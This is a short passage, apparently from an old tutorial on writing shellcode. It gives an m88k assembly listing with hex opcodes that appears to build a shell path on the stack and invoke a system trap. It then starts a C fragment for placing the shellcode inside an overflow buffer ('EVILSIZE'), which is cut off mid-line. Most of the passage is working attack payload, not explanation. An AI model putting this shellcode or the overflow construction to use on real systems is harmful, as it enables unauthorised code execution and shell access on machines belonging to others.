Writing shellcode. text align 8 global main main: subu r30,r31,0x114 ; 67 df 01 14 or.u r10,r0,0x2f74 ; 5d 40 2f 74 or r11,r10,0x6d70 ; 59 6a 6d 70 or.u r12,r0,0x2f73 ; 5d 80 2f 73 or r13,r12,0x6944 ; 59 ac 69 44 subu r13,r13,0x144 ; 65 ad 01 44 st r11,r30,0x110 ; 25 7e 01 10 st r13,r30,0x114 ; 25 be 01 14 addu r2,r30,0x110 ; 60 5e 01 10 st r2,r30,0x108 ; 24 5e 01 08 st r0,r30,0x10c ; 24 1e 01 0c addu r3,r30,0x108 ; 60 7e 01 08 addu r4,r30,0x108 ; 60 9e 01 08 or r9,r0,0x109 ; 59 20 01 09 subu r9,r9,0x101 ; 65 29 01 01 tb0 0,r1,0x1c2 ; f0 01 d1 c2 This shellcode most probably writing by bawd, but may be , it was generated by itself :) 5) inserting jumps in shellcode. mydecome=-(short)((sizeof(shell)-1)/4);mydecome++; for (i=EVILSIZE-SHOFF+INC+sizeof(shell)-1;i